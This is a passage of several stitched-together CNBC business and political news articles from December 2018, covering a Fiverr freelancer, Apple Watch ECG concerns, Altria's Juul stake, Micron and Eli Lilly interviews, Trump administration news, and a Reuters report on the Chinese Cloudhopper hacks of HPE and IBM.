to work with and responsive. Feldman says his clients are wide-ranging, and he does everything from writing website copy to marketing materials to social media posts. Once, he even wrote a 50-page corporate sustainability report for an international oil company, a project he recalls took him weeks (that one was under-priced, he notes, adding that he only made around $1,000). Feldman's average selling price for an order is $57, and at all times, he usually has around 20 to 30 orders in his queue. His day is peppered with work, but he chooses to stay up late, sometimes until midnight or later, to work on orders so that he can spend time with his family when the kids are home from their school day. "On average, I probably spend around 50 hours a week working on Fiverr," Feldman says. "It's pretty much seven days a week because inquiries and questions keep coming from customers. However, Fiverr does have an out-of-office feature for holidays and vacations. This Christmas break, while I'm not putting on my out-of-office feature, I plan to set longer deadlines for myself (and clients) so I have time to spend with my family." In 2016, Feldman brought in $24,000, and in 2017 that number spiked to $75,000. For 2018, as of early December, Feldman has made $125,000 on Fiverr. He also recently teamed up with someone else he met on Fiverr, and the pair launched a digital marketing agency about six months ago, offering services like copywriting and web design. "I think freelancing definitely is the future, especially with the access everyone has now to the internet, social media, everything has just exploded," Feldman says. "And everyone can hang up their sign like there's nobody telling you that you can't do anything." While the money is great and has enabled Feldman's family to take a recent vacation to Hawaii what he loves most about freelancing is the freedom. He enjoys working from home; it allows him to get his two kids (12-year-old Jackson and 10-year-old Sophie) ready for school in the mornings, grab lunch with Melissa and coach his son's basketball team. Now, he's much happier than when he was toiling away in a cubicle. "It was a good paying job, good benefits, good pay," Feldman says of his previous career in finance. "I lived in a really nice neighborhood, drove nice cars. People would look at me and think 'Oh, that guy's got it made,' which, I did. But I was like dead inside...and so my advice is, just don't spend any more time doing what you don't like. There's opportunities out there." Don't miss: How this woman saved $40,000 in one year and lives rent-free in NYC thanks to dog-walking app Rover Like this story? Subscribe to CNBC Make It on YouTube! Jeff Williams, chief operating officer of Apple Inc., speaks during an Apple event at the Steve Jobs Theater at Apple Park on September 12, 2018 in Cupertino, California. Justin Sullivan | Getty Images News | Getty Images When Apple introduced its electrocardiogram feature for the Apple Watch last month, it instantly gave millions of people unprecedented access to their health information. The Apple Watch is the first mass-market product with an ECG, which lets consumers get a reading of their heart's rhythm and potentially pick up on a type of arrhythmia called atrial fibrillation. That's a big deal, but it also raises some concerns. While the device gives people more control over their health and better data on their conditions is laudable, many doctors are worried about false positives. That is, the Apple Watch may be wrong in some cases, resulting in healthy people rushing unnecessarily to the emergency room. Check out the Twitter hashtag #cardiotwitter to see how that's playing out. "I love the idea of patients participating in their own health, and I'm not anti-Apple," said Dr. Brian Kolski, a cardiologist in Orange County, California. "But I also don't want to be pulled away from those who are actually sick." Kolski said he recently started getting messages from patients who were using the ECG feature and just needed reassurance because they didn't quite understand the reading. "U up?" one perfectly healthy patient emailed him at midnight one night, along with data from the watch. "I'm in an area of Southern California where there are a lot of worried well," Kolski said. Critics are also concerned about misinformation, especially with the recent batch of unverified claims that the Apple Watch is saving lives. The flip side is that numerous studies have found that patients are becoming more informed than ever, whether it's through symptom searching on Google or accessing an ECG reading through their Apple Watch. And that's changing the culture of medicine. When patients are armed with their own health data, the relationship with their doctor becomes less paternalistic. They're no longer rendered childlike to an authority figure, who provides instructions during an annual visit on the steps they should take to mange their health. Instead, consumers are turning to discussion forums like PatientsLikeMe, where engaged patients with serious medical conditions discuss their treatments, doctors and other aspects of their care. Some doctors are embracing that trend, as it allows medical experts to be more proactive with patients, helping to keep them healthy rather than just treating them when they get sick. "The Apple Watch could give doctors a new way to communicate with their patients," said Dr. Oliver Aalami, a vascular surgeon and clinical associate professor at Stanford University. Aalami said patients are more likely to notice if they have a skipped heartbeat or extra heartbeats, which could be problematic but might also be due to stress or too much caffeine. Doctors can help determine if the irregularity is due to possible signs of heart disease, requiring medical intervention, or something like anxiety, which can often be managed through alterations in lifestyle. Similarly, Dr. Leslie Saxon, a cardiologist and professor at the University of Southern California, has publicly praised Apple for helping people take control of their health. Balancing act Satellite start-up Cloud Constellation closed a $100 million batch of funding. Based in Los Angeles, Cloud Constellation wants to launch Space Belt, a network of data centers built on satellites in orbit. "We're eliminating the risk [of data breaches] associated with terrestrial infrastructure," Dennis Gatens, Cloud Constellation chief commercial officer, told CNBC. "We're bringing to market a solution that provides what we consider the strongest security capability possible." The $100 million comes from HCH Group Company Limited. The funds are a part of a larger venture capital round Cloud Constellation is working to close. The company declined to specify what its valuation is. "HCH's financial commitment to SpaceBelt builds on our momentum to execute on our vision to offer global data protection that leverages commercial space," Cloud Constellation CEO Cliff Beek said in a statement. The company warns that devastating cyber attacks and data breaches are quickly on the rise. Cloud Constellation pointed to data from Cybersecurity Ventures, a firm that estimated that cybercrimes around the world will accelerate to cost $6 trillion a year by 2021. Although Cloud Constellation touts improved cybersecurity, Gatens said "it's hard to say what the percent improvement" is compared to Earth-based data centers. "How much we can impact [cybersecurity risk] is really going to be on a per-customer basis," Gatens said. Cloud Constellation previously raised $5 million in a 2016 fundraising round from London-based Eagle Capital. Earlier this year, Beek told Space News that the company was aiming to raise $200 million to pay for 12 satellites, down from the previously announced 16. Now the company is paring down its ambitions further, to 8 satellites. Three of these will be "memory" satellites, Gatens said, with 5 petabytes of storage available. The data "will be replicated on each of the three satellites" for built-in redundancy, Gatens added, to help protect against the loss of connection to a satellite. Last year Virgin Orbit announced an agreement to launch satellites for Cloud Constellation, but that deal is off, Virgin Orbit confirmed to CNBC. While the network's total number of satellites shrank to 8, Cloud Constellation says the individual satellites will now be larger likely exceeding the weight capability of Virgin Orbit's LauncherOne rocket, which is in final development. Gatens declined to specify who would build the satellites. Instead, Gatens said Cloud Constellation is "in discussions with multiple" major satellite manufacturing companies. Gatens said Cloud Constellation will use C-band spectrum initially, as the company's satellites will be relaying data by way of existing geostationary satellites such as those by broadband satellite company Intelsat. Geostationary satellites can be the size of school buses and remain "fixed" in place above the Earth, orbiting much further away so as to provide as much coverage of the planet's surface as possible. Gatens argues that this provides "another layer of isolation" to the data storage, he said, as there will not be any communication directly between Cloud Constellation's satellites and the ground. Cloud Constellation has announced several prospective customers, as well as a partnership with IBM earlier this year to explore how data storage may be more secure if placed in orbit. "We have not published our pricing but we discuss our pricing with" potential customers, Gatens said. "We feel we have a very strong understanding of what customers will pay they will pay a premium for a very strong level of security." Correction: This story was corrected to reflect that Hughes China Holdings is no longer a subsidiary of Hughes Network Systems. Brian Schwartz President Donald Trump has been telling his closest political advisors in recent weeks that he wants Vice President Mike Pence to be with him on the ticket in 2020, CNBC has learned. The development comes amid media speculation that Trump could ditch Pence in favor of another running mate. Trump has told confidants that he wants Pence to be his running mate in the next election, and the vice president has privately told him he's ready to defend the administration against a Democratic onslaught. President Donald Trump has been telling his closest political advisors in recent weeks that he wants Vice President Mike Pence to be with him on the ticket in 2020, CNBC has learned. The development comes amid media speculation that Trump could ditch Pence in favor of another running mate. Trump has told confidants that he wants Pence to be his running mate in the next election, and the vice president has privately told him he's ready to defend the administration against a likely onslaught of Democratic presidential candidates running to replace them, according to three people with direct knowledge of the matter. During a November press conference, Trump himself asked Pence if he would be his running mate. The former Indiana governor nodded his head. However, since then, Vanity Fair reported that Trump was thinking about ditching Pence. The latest news might not end the speculation about Pence's fate, though, since Trump is known to change his mind without notice as his recent search for a new chief of staff demonstrated. Trump announced last week that Office of Management and Budget Director Mick Mulvaney will take over as acting chief of staff after he said John Kelly would leave at the end of the year. Kelly had earlier agreed to stay in the role until 2020. Trump's decision to pick Mulvaney concluded an exhaustive search, with others such as Treasury Secretary Steven Mnuchin and former New Jersey Gov. Chris Christie under consideration. Neither Mnuchin nor Christie were interested in taking the job. White House press secretary Sarah Huckabee Sanders and a spokeswoman for Pence did not return repeated requests for comment. Pence's continued presence on the Trump ticket could be critical to preserving the president's connections to conservative and Evangelical Christians. The vice president, a born-again Christian and a former member of the conservative House Freedom Caucus, helped Trump garner 80 percent of the white evangelical electorate during the 2016 presidential election, the highest level since 2004, when George W. Bush received their overwhelming backing. Pence and the administration's connection to the evangelical community was evident when he spoke at the annual Southern Baptist Convention in Dallas in June. At the event, he told a large gathering of 10,000 pastors that the Trump White House would continue to defend their religions priorities. "This is a pivotal year in the life of our nation," Pence said at the time. "Be assured of this, President Trump and I are going to continue to fight for what we know is right." Overall, the Southern Baptist denomination boasts 15 million members. Trump has surrounded himself with conservative Christian leaders to advise him on policies that appeal to the GOP's evangelical base. Trump has sought counsel from minister Jerry Falwell Jr., and Southern Baptist pastor Robert Jeffress. Another asset Pence brings to the table: fundraising chops. The vice president has his own political and fundraising operation in place to help Trump's re-election bid. Pence's political action committee, the Great America Committee, has raised over $4 million throughout the 2018 election cycle but spent most of it during the midterms. Trump, on the other hand, has brought in over $100 million combined between his own campaign and the joint fundraising committees that also contribute to the Republican National Committee. The combined Trump-Pence fundraising effort will be a tough match for any Democrat, even ones who end up snagging the backing of major party donors early in the race. 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For more information about NBCUniversal, please visit http://www.NBCUniversal.com. In some cases, buying shares of companies facing lawsuits can pay off if you're patient and willing to withstand headline risk, CNBC's Jim Cramer said Wednesday. Right now, there are five high-profile situations "where lawsuits are or could be front and center" for stocks, Cramer said: the Qualcomm-Apple dispute, the lawsuits facing Johnson & Johnson for alleged ties between its talc and cancer, the Malaysian government's fraud allegations against Goldman Sachs, the District of Columbia's recently announced case against Facebook and the potential for litigation against Allergan for selling breast implants that allegedly cause cancer. If Apple loses the Qualcomm-Apple battle, it could have more downside, Cramer admitted. But if the iPhone maker settles with Qualcomm, the stock could bounce, the "Mad Money" host said. As for Johnson & Johnson, while a loss could hurt the company, the stock has already shed more than $50 billion in market value, Cramer said. He suggested waiting a week and seeing if the story dies down before buying. Goldman Sachs will likely have to settle with Malaysian authorities, but that debacle will likely end there, even if it takes months, he said. Facebook's Cambridge Analytica ties might hurt in the short-term as that lawsuit progresses, he added, but he didn't think they would derail the company's business model. And Allergan is a wait-and-see situation for Cramer, who said that while the danger of its implants was well-known, the headline risk will be high for the foreseeable future. "Every one of these lawsuits is a serious taint," he acknowledged. "However, the stocks have already been hammered. It's more headline risk going forward. But if you can handle the negative headlines and you can be very patient, I actually think you're getting some very nice long-term buying opportunities, but the operative term please is, indeed, long term." Cramer on Fed decision, stock market outlook A trader works at his post on the floor of the New York Stock Exchange, December 19, 2018. Brendan McDermid | Reuters Cramer was surprised stocks didn't plunge on Wednesday to hike interest rates by a quarter-point. The , the and the all sank to for 2018 after the Fed's announcement, in which the central bank also forecast two more hikes in 2019, down from three as previously stated. The Dow gave up what had been a 381-point intraday gain to close 351 points lower. "If anything, I was surprised at how well the averages held up today," Cramer said. "You could easily argue that we should've been down 1,000 Dow points. [It] would've made a ton of sense given what I heard." "But because the market was already so oversold, the worst it's been since the lows in February, the downside was more limited," he explained. Click here for his take on the Fed's decision and where stocks go from here. Micron CEO touts stock demand as stock withers Sanjay Mehrotra, CEO, Micron Technology Scott Mlyn | CNBC Wall Street may have balked at most recent , driving shares of the chipmaker to a new 52-week low Wednesday, but the company's CEO told CNBC that the weakness wouldn't last very long. The "most important thing is that the end-market demand drivers for memory and storage continue to be vibrant," Sanjay Mehrotra, president and CEO of Micron, told Cramer in an exclusive interview on Wednesday. Shares of Micron shed more than 6 percent in after-hours trading following the company's Tuesday earnings report, which missed analysts' earnings and revenue estimates. The stock lost another 7.92 percent in Wednesday's session. But Mehrotra said that Micron and other companies in the semiconductor space were working to fix the supply-demand imbalance that has plagued commodity chipmakers in recent months. Click here to watch and read more about his interview. Eli Lilly on migraine drug competition David Ricks, CEO of Eli Lilly. CNBC With , and all chasing market share with new drugs for treating migraines, the path to success is "a horse race between three great companies," Eli Lilly's CEO, Dave Ricks, told CNBC on Wednesday. In September, from the Food and Drug Administration for its migraine treatment, Emgality. While Amgen and Teva's had already been approved by then, Ricks told Cramer in an interview that the battle was far from over. "We're three or four months behind Amgen, one month behind Teva," he said on "Mad Money." "It's a horse race between three great companies, but we have some skills that we think will come into play." Ricks, whose company's diabetes and psoriasis drugs have enabled it to , said Eli Lilly's technology and ability to reach customers could be major advantages in treating migraines, which affect roughly 30 million Americans. Click here to watch and read more about his interview. Off the charts: Peaking pessimism? Traders watch a television broadcasting Jerome Powell, chairman of the U.S. Federal Reserve, announcing an increase in the Federal Reserve interest rate on the floor of the New York Stock Exchange on Wednesday, Dec. 19, 2018. Michael Nagle | Bloomberg | Getty Images Cramer also checked in with chartist Carley Garner, who argued that stock market pessimism was peaking and stocks could be close to a "sustained rebound." Garner, co-founder of DeCarley Trading and the author of Higher Probability Commodity Trading, said charts of the U.S. dollar suggested that it was overbought "or at least ... overheated," Cramer said, meaning that U.S.-based international companies could soon get "a real boost." She also noted that even at Wednesday's lows, the market was only down 15 percent from its all-time highs. "In short, she thinks that the 2017 rally got a little ahead of itself, so we needed to spend 2018 digesting these enormous gains, which we've been doing," Cramer explained. "Maybe we need another pullback to finish the process, but from a technical perspective, Garner believes the recent declines are unremarkable." All in all, her interpretation of the charts suggested "that the pessimism may have gotten overblown here, even with a hostile Federal Reserve, and there's a case to be made that the market could potentially be ready to rebound," the "Mad Money" host continued. "Although she could just as easily see a further 7 percent decline here, so perhaps you should keep your head down. Where am I? I know the market's really oversold. I kind of want to split the difference. I think we can rally, and then I think we get slammed again. Why? Because the Fed is not on your side." Click here to watch the full video of Cramer and Garner's analysis. Lightning round: The trend that never sleeps? With Amgen, Teva Pharmaceuticals and Eli Lilly all chasing market share with new drugs for treating migraines, the path to success is "a horse race between three great companies," Eli Lilly's CEO, Dave Ricks, told CNBC on Wednesday. In September, Eli Lilly received approval from the Food and Drug Administration for its migraine treatment, Emgality. While Amgen and Teva's competing treatments had already been approved by then, Ricks told Jim Cramer in an interview that the battle was far from over. "We're three or four months behind Amgen, one month behind Teva," he said on "Mad Money." "It's a horse race between three great companies, but we have some skills that we think will come into play." Ricks, whose company's diabetes and psoriasis drugs have enabled it to raise its 2019 outlook, said Eli Lilly's technology and ability to reach customers could be major advantages in treating migraines, which affect roughly 30 million Americans. "We're good at reaching consumers. We built that capability around Cialis," Eli Lilly's erectile dysfunction drug, Ricks said. "We also think we have the best delivery system. The same device we use with Trulicity, which has really been a winner for us in diabetes, we're using for these migraine patients." Trulicity, which helps diabetes patients keep their glucose levels under control and lose weight, is delivered through a pen with a push tab that hides the needle. "This is a primary care condition. You want an easy-to-use device patients can give themselves at home," Ricks told Cramer. "That's what we have." And, at the end of the day, the CEO sees these new developments on the migraine front as more than just a three-company footrace. "These three drugs, they work in similar ways. That's true. But we've had decades where there's been nothing new for migraine," he said. "So it's an exciting time for migraine treatment." Eli Lilly shares gained 2.45 percent in Wednesday trading, settling at $109.11. In early November, Eli Lilly delivered third-quarter sales results above Wall Street estimates on two key drugs, Trulicity and Taltz, which treats psoriasis. Altria's board of directors has approved its $12.8 billion investment in leading e-cigarette manufacturer Juul, with a formal announcement planned for Thursday before market open, people familiar with the matter told CNBC. Juul's board is meeting to consider the deal. Tobacco giant Altria will invest $12.8 billion for a 35 percent stake in Juul, which values the e-cigarette company at $38 billion, the people said. The deal combines the maker of the best-selling cigarette with the best-selling e-cigarette and comes as both companies are under pressure. The deal marks a turning point for Juul. The company has positioned itself as anti-tobacco, with a mission to help to wean adults off combustible cigarettes, which are responsible for killing about half a million Americans every year. With this deal, though, it will be partly owned by one of the world's biggest tobacco giants. As such, Juul stipulated a number of conditions to help ensure the Altria deal furthers its goals. As part of the agreement, Altria would add Juul coupons to Marlboro and other cigarette packs and give Juul some of its prime shelf space, the people familiar said. The people requested anonymity because the information is confidential. The deal will also help Juul manage its more recent challenge. Amid a surge in high school students using e-cigarettes, regulators are pursuing policies that would limit where Juul can sell its fruity nicotine pods. Lawmakers and public health officials are also chastising the company for its popularity among teens, with some arguing that these young adults never would have smoked cigarettes but are now addicted to nicotine. Altria's stake will provide provide Juul access to its experienced team of regulatory experts. It will also add might to support marketing and distribution efforts, the people said. Talks between Altria and Juul been on and off over the past 14 months, the people said. Juul also spoke to Japan Tobacco and British American Tobacco, which operates in the U.S. through Reynolds, at one point, one of the people said, though it is unclear how seriously the parties engaged. Negotiations between Altria and Juul began to heat up in October, as the company sought to hammer out a number of key sticking points the people said. One of the obstacles was Altria's own e-cigarettes, MarkTen and GreenSmoke, which Altria agreed to shut down as part of the deal, one of the people said. Altria announced plans to discontinue the brands earlier this month, citing financial performance. Juul, which split from parent company Pax in 2017, captured 75 percent of the e-cigarette market in just three years, with most of the growth coming over the past year. Juul has roughly $1.5 billion in revenue, one of the people said. The entire category has posted $2.95 billion in sales in the year ended Dec. 1, according to Nielsen data compiled by Wells Fargo analyst Bonnie Herzog. Right now, when smokers ditch Marlboro for Juul, Altria loses out. That will change if Altria owns a portion of Juul. Juul pods may also be more profitable than conventional cigarettes because they typically aren't taxed and don't have to pay costs associated with the Master Settlement Agreement (MSA), a deal negotiated in 1998 between tobacco manufacturers and state attorneys general that ended a wave of ongoing lawsuits. Meantime, Altria is awaiting a decision from the FDA on Philip Morris International's new heated tobacco product, iQOS. The device heats tobacco instead of burning it, with the idea that it gives smokers the nicotine they want while preventing combustion, the chemical process responsible for producing toxins in cigarettes. PMI already sells iQOS in 46 markets overseas. It has said it expects a decision from the FDA by the end of the year. For Altria, the deal is its second transformative investment in as many weeks. $1.8 billion for a 45 percent stake in Canadian cannabis company, . Both investments comes as cigarette sales are falling at a faster clip than anticipated, threatening Altria's usual tactic of raising prices to offset volume declines. Juul declined to comment. Altria, Japan Tobacco and British American Tobacco did not immediately return CNBC's requests for comment. Wall Street may have balked at Micron Technology's most recent earnings report, driving shares of the chipmaker to a new 52-week low Wednesday, but the company's CEO told CNBC that the weakness wouldn't last very long. The "most important thing is that the end-market demand drivers for memory and storage continue to be vibrant," Sanjay Mehrotra, president and CEO of Micron, told Jim Cramer in an exclusive interview on Wednesday. Shares of Micron shed more than 6 percent in after-hours trading following the company's Tuesday earnings report, which missed analysts' earnings and revenue estimates. The stock lost another 7.92 percent in Wednesday's session. But Mehrotra said that Micron and other companies in the semiconductor space were working to fix the supply-demand imbalance that has plagued commodity chipmakers in recent months. Commodity chips particularly Micron's key products, flash and dynamic random-access memory chips are building blocks of various technological devices including PCs and smartphones. Now, data centers, cloud companies, automakers, industrials and internet of things developers use them in their businesses as the need for digital memory and storage grows, Mehrotra said. "Our customers' demand is strong," he said on "Mad Money." "Our customers' demand from us is impacted in fiscal second quarter because of the inventory buildup. And then, supply cutbacks will kick in." The supply cutbacks will target what Mehrotra called "air pocket[s]" of inventory buildup caused by "unprecedented" levels of demand and price increases for DRAM chips. As a result, some customers built up their chip inventories fearing a potential shortage. "We are in that air pocket where this inventory has to be cleared from the customers, but, again, the main point is that the end market demand drivers continue to be more diverse than they have ever been in the past," the CEO said, adding that supply cutbacks "will result in supply coming into better balance with respect to demand, and a second half of calendar year to be improved compared to the first half." Mehrotra pointed out that Micron's enterprise customers as well as "hyper-scale cloud operators" have recently reported strong earnings results, suggesting that their expanding businesses will play to Micron's favor into 2019. "Memory and storage are very much at the heart of these trends," he said. "The second half of the calendar year tends to be seasonally stronger for our industry. That's why we are saying that by second half, we expect industry fundamentals to be improved compared to the first half." President Donald Trump and Polish President Andrzej Duda (L)speak to the media in the Oval office at the White House on September 18, 2018 in Washington. Nicholas Kamm | AFP | Getty Images Poland took another step towards weening itself off Russian energy supplies on Wednesday by signing a 20-year agreement with San Diego-based Sempra Energy to import U.S. liquefied natural gas. The signing marks the third long-term contract the state-controlled Polish Oil and Gas Company, or PGNiG, has inked with an American LNG company this year. In the coming years, Warsaw plans to replace Russian gas with pipeline supplies from Norway and shipments of LNG, or gas super-chilled to liquid from for transport by sea. That is opening an opportunity for the U.S. energy industry, which is on the cusp of a opening a second wave of LNG export terminals. The Trump administration, eager to dominate the global energy market, has been pitching the supplies in trade talks from Beijing to Warsaw. Eastern and Central European nations, which have a complicated and frequently antagonistic relationship with Moscow, have been a receptive audience. "This is a big deal," said Assistant Secretary Francis Fannon, who heads the U.S. State Department's Bureau of Energy Resources. Fannon told CNBC's "Power Lunch" that Poland is "stepping up and answering the call on energy security" for Europe. Fannon and other Department officials were on hand on in Warsaw when Poland's PGNiG signed the deal with Sempra on Wednesday. The agreement commits PGNiG to buy 2 million tons per year from Sempra's Port Arthur Texas terminal, which is slated to enter commercial operation in 2023. That is enough LNG to cover about 15 percent of Poland's yearly natural gas consumption, according to PGNiG. It also moves Sempra closer to making a final decision to finance the Port Arthur facility. In October, PGNiG signed another 20-year agreement to buy 2 million tons a year from Venture Global's planned LNG export facility in Plaquemines Parish, Louisiana. In August, the Polish firm signed on for 1.45 million tons a year for two decades from Cheniere Energy, with smaller shipments starting next year. Poland is preparing for a major shift in its energy imports after 2022, when Warsaw says it will allow a contract with Russia's Gazprom to expire. That plan also includes boosting imports from top LNG exporter Qatar and building a pipeline link with Norway. Polish President Andrzej Duda does not hide his disdain for Poland's reliance on Russian natural gas. In a press conference with President Donald Trump in September, he said Moscow uses its grip over the European gas market for "political blackmail." Duda is particularly opposed to the expansion of the Nord Stream pipeline system that directly links Russia and Germany. Central and Eastern European nations fear Moscow will use the new Nord Stream 2 line to bypass existing infrastructure through Ukraine, making it easier for the Kremlin to exert political pressure on its neighbors without alienating Western Europe. A US officer, from the US-led coalition, speaks with a fighter from the Kurdish People's Protection Units near northeastern Syrian Kurdish town of Derik, known as al-Malikiyah in Arabic, on April 25, 2017. WASHINGTON The White House on Wednesday struggled both to rationalize and to defend President Donald Trump's surprise announcement that morning that the United States would withdraw its troops from Syria because, as Trump wrote in a tweet, "we have defeated ISIS in Syria." But while the announcement contained few answers for the public, Congress or the people likely to be affected by the decision, it did accomplish one thing for the president. It changed the news narrative from one dominated by stories about Trump's failure to secure the $5 billion he promised to get to build a border wall, to one dominated by coverage of what Trump's Syria decision meant for the U.S. and its allies. Shortly after Trump's 9:30 a.m. ET tweet, White House press secretary Sarah Huckabee Sanders said in a statement, "We have started returning United States troops home as we transition to the next phase of this campaign." Sanders also claimed that after five years, the United States had defeated the Islamic State caliphate. But she added that American "victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign." While experts widely acknowledge that ISIS has been forced out of much of the territory it initially seized in Syria and Iraq, the timing of Wednesday's announcement caught official Washington completely off guard. Among those who learned about Trump's decision from reading news reports were top congressional leaders in both parties and senior military brass. In a more traditional administration, these two groups would have almost certainly been consulted ahead of such a momentous military announcement. And while the Pentagon took pains to downplay the apparent disconnect between the commander in chief and his top generals, on Capitol Hill, members of Congress did not hide their frustration with the White House. "I've never seen a decision like this since I've been here, in 12 years, where nothing is communicated in advance, and all of a sudden this type of massive decision takes place," said Sen. Bob Corker, R-Tenn., chairman of the Senate Foreign Relations Committee. An Airbus A220-300 aircraft, a new brand for the CSeries passenger jet acquired from Canada's Bombardier, flies during its unveiling in Colomiers near Toulouse, France, July 10, 2018. shares slumped 9 percent Thursday morning on reports the company is being investigated by the U.S. Department of Justice (DOJ) for "inappropriate practices." France's Le Monde on Thursday reported, citing anonymous sources, that the aircraft manufacturer is facing an investigation into suspicious practices that includes alleged corruption in commercial contracts between France and Kazakhstan. Airbus was not immediately available for comment when contacted by CNBC. According to the French media outlet, the company was informed by U.S. authorities at the end of summer. The newspaper, however, didn't state where it has received this information from. Within the last two years, the U.K.'s Serious Fraud Office (SFO) and France's National Financial Prosecutor's Office (PNF) have both opened investigations into Airbus's use of middle men to conduct plane sales. Airbus has said it is cooperating with U.S. authorities and in close coordination with the SFO and PNF, according to Reuters. As at 12:15 a.m. London time, shares had pared losses to sit almost 4 percent lower at 82.32 euros ($94.37). In after-hours trading shares of rival firm Boeing had risen around 0.5 percent. The European aerospace group is undergoing a period of transition as it attempts to move on from a period of high profile management departures, bribery probes and industrial action from employees. Airbus's plane-making boss Guillaume Faury will become group CEO in April 2019 when German-born Tom Enders steps down. Last week, the firm has also announced a strategic review to work in tandem with the change of leadership. Airbus was formed in 1969 and celebrates its 50th Anniversary next year. John Giannandrea, senior vice president of artificial intelligence and machine learning strategy at Apple, speaks at the TechCrunch Disrupt 2017. Apple on Thursday said John Giannandrea, the company's recently appointed senior vice president of artificial intelligence and machine learning strategy, is now part of the company's executive team. He reports to Apple CEO Tim Cook. Apple's move comes as the company looks to raise its profile in AI, alongside Amazon, Facebook, Google and Microsoft. "John hit the ground running at Apple and we are thrilled to have him as part of our executive team," Cook said in a statement. "Machine learning and AI are important to Apple's future as they are fundamentally changing the way people interact with technology, and already helping our customers live better lives. We're fortunate to have John, a leader in the AI industry, driving our efforts in this critical area." Giannandrea joined Apple in April after nearly eight years at Google, where he ultimately became the leader of search, along with machine intelligence and research. At Apple he handles the company's Siri virtual assistant, as well as the Core ML software that developers can use to incorporate artificial intelligence capabilities into their applications. Others on Apple's executive team include Katherine Adams, Angela Ahrendts, Eddy Cue, Craig Federighi, Jonathan Ive, Luca Maestri, Dan Riccio, Phil Schiller, Johny Srouji and Jeff Williams. WATCH: Apple comeback may loom on Q1 earnings A migrant child sleeps while he is carried by family as fellow migrants, all part of the caravan of migrants who traveled from Central America with the intention of crossing into the U.S., walk to the border fence in order to cross into the U.S. from Tijuana, Mexico December 14, 2018. A fundraiser to build a wall along the U.S.-Mexico border has raised nearly $5 million in three days on the online platform GoFundMe. The fundraiser, titled "We The People Will Fund The Wall," was started by Brian Kolfage, an Iraq war veteran and triple amputee. Kolfage's personal website describes him as a motivational speaker. "It's time we uphold our laws, and get this wall BUILT!," Kolfage wrote on the fundraiser page. "It's up to Americans to help out and pitch in to get this project rolling." The fundraiser comes as the White House and Capitol Hill remain deadlocked over President Donald Trump's threat to shut down the government if Congress does not approve $5 billion in funding for a border wall. tweet As of Thursday afternoon, more than 78,000 people had donated roughly $4.8 million to the GoFundMe campaign, which is still far shy of the $25 billion Trump himself has said is needed for the border wall. "If we can fund a large portion of this wall, it will jumpstart things and will be less money Trump has to secure from our politicians," Kolfage wrote. WATCH: Virtual border wall could be a cheaper alternative to Trump's proposal Canadian cannabis producer Canopy Growth said Thursday that it will "participate in the American market" now that the 2018 Farm Bill has been signed into law. Canopy CEO Bruce Linton said in a press release Thursday that "Canopy Growth commends the United States government for passing the Farm Bill, a transformative piece of legislation that will create jobs and meaningful economic impact across the United States." The farm bill an $867 billion, five-year spending bill that funds agricultural, nutrition and other federal programs also loosened some federal restrictions on cannabis. It legalized hemp by removing it from the Controlled Substances Act while preserving the FDA's authority to regulate the products. "Canopy Growth will participate in the American market now that there is a clear federally-permissible path to the market. Consistent with the spirit of the Farm Bill, Canopy Growth will participate in ways that support American farmers." Shares of Canopy Growth rallied 1.3 percent in after-hours trading following the announcement. A Tokyo court on Thursday unexpectedly decided not to extend the detention of Nissan's ousted chairman, Carlos Ghosn, meaning he may soon be released from jail where he has been confined since his arrest for alleged financial misconduct. The Tokyo District Court said it also decided against extending detention for Greg Kelly, a former Nissan executive who was first arrested along with Ghosn on November 19. Lawyers for both men were not immediately available for comment. It was unclear whether prosecutors will appeal the decision. Shin Kukimoto, deputy prosecutor at the Tokyo District Public Prosecutors Office, said only that his office will respond "appropriately". Ghosn has been indicted for allegedly understating his income over a five-year period from 2010. He was re-arrested on Dec. 10 for the same alleged crime covering the past three years. The 10-day detention period in the second instance ran out on Thursday. The court had widely been expected to extend the detention, as granting bail to suspects who insist on their innocence is highly unusual in Japan. Masashi Akita, a defence lawyer in Osaka, said the court's decision could reflect a change in its attitude towards detention. "They are very nervous about criticism of their lenient approach toward detention. This is a typical case of such changing, I suppose," he said. "I think this case has a big impact and effect on the Japanese justice practice, and such a move is favorable for the defense side." Public broadcaster NHK said Ghosn could be released on Thursday or Friday if any appeal by prosecutors is rejected by the court and bail is granted. Ghosn's arrest marked a dramatic fall for a leader once hailed for rescuing Nissan from the brink of bankruptcy. He has been treated like others in detention, held in a small room. Authorities have limited his opportunities to shower and shave, a person familiar with the matter previously told Reuters. (L-R) U.S. Deputy Attorney General Rod Rosenstein speaks as U.S. Attorney for the Southern District of New York Geoffrey Berman, and FBI Director Christopher Wray listen during a news conference to announce a China related national security law enforcement action December 20, 2018 at The Justice Department in Washington, DC. Hackers working on behalf of China's Ministry of State Security breached the networks of Hewlett Packard Enterprise and IBM, then used their access to hack into their clients' computers, according to five sources familiar with the attacks. The attacks were part of a Chinese campaign known as Cloudhopper, which the United States and Britain on Thursday said infected technology service providers in order to steal secrets from their clients. Representatives of Hewlett Packard Enterprise (HPE) and IBM said they had no immediate comment. While cybersecurity firms and government agencies have issued multiple warnings about the Cloudhopper threat since 2017, they have not disclosed the identity of technology companies whose networks were compromised. Businesses and governments are increasingly looking to technology companies known as managed service providers (MSPs) to remotely manage their information technology operations, including servers, storage, networking and help-desk support. Cloudhopper targeted MSPs to access client networks and steal corporate secrets from companies around the globe, according to a U.S. federal indictment of two Chinese nationals unsealed on Thursday. Prosecutors did not identify any of the MSPs that were breached. Reuters was unable to confirm the names of other breached technology firms or identify any affected clients. The sources, who were not authorized to comment on confidential information gleaned from investigations into the hacks, said that HPE and International Business Machines Corp were not the only prominent technology companies whose networks had been compromised by Cloudhopper. Cloudhopper, which has been targeting technology services providers for several years, infiltrated the networks of HPE and IBM multiple times in breaches that lasted for weeks and months, according to another of the sources with knowledge of the matter. IBM investigated an attack as recently as this summer, and HPE conducted a large breach investigation in early 2017, said the source. The attackers were persistent, making it difficult to ensure that networks were safe, said another source. IBM has dealt with some infections by installing new hard drives and fresh operating systems on infected computers, said the person familiar with the effort. One senior intelligence official, who declined to name any victims who were breached, said attacks on MSPs were a significant threat because they essentially turned technology companies into launchpads for hacks on clients. "By gaining access to an MSP, you can in many cases gain access to any one of their customers," said the official. "Call it the Walmart approach: If I needed to get 30 different items for my shopping list, I could go to 15 different stores or I could go to the one that has everything." Representatives with the FBI and Department of Homeland Security declined to comment. Officials with the U.S. Justice Department and the Chinese embassy in Washington could not immediately be reached for comment. A British government spokeswoman declined to comment on the identities of companies affected by the Cloudhopper campaign or the impact of those breaches. "A number of MSPs have been affected, and naming them would have potential commercial consequences for 